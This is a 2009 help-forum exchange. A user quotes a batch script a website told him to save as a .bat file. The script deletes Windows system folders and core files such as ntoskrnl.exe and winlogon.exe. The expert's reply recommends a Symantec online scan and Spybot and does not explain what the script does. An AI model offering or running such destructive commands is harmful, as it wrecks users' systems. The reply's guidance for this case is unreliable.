Expert: Lorry - 1/8/2009

Question
was in some website and they told me to do something and it was a virus. i dont know what it is or what it does.

they told me open notepad and enter:
@echo off
del “C:windowspchealth”
del “C:windowssystem”
del “C:windowssystem32restore”
del “winlogon.exe”
del “C:windowssystem32autoexec.nt”
del “C:windowssystem32logonui.exe”
del “C:windowssystem32ntoskrnl.exe”

Then they told me save it as a .bat

i dont know what it does or how to stop it plese help!!!!!


Answer
Hi Josh,

Not sure which site told you this, I would suggest using Internet Explorer and go to:

http://security.symantec.com/sscv6/WelcomePage.asp

Click "Continue to Symantec Security Check", in the next window click No when asked if you want to close this window, that will bring you to a window where you should click Virus Detection.

Write down exactly anything it finds, then go to: http://www.symantec.com/search/  and do a search for what was found. Symantec usually has a removal tool and/or directions for removing manually. Make sure that you follow the instructions for removal, step by step, especially the part regarding disabling System Restore.

You might want to download Spybot from:

http://www.download.com/Spybot-Search-amp-Destroy/3000-8022_4-10122137.html

Check for updates before running a scan.

Hope this helps!
Lorry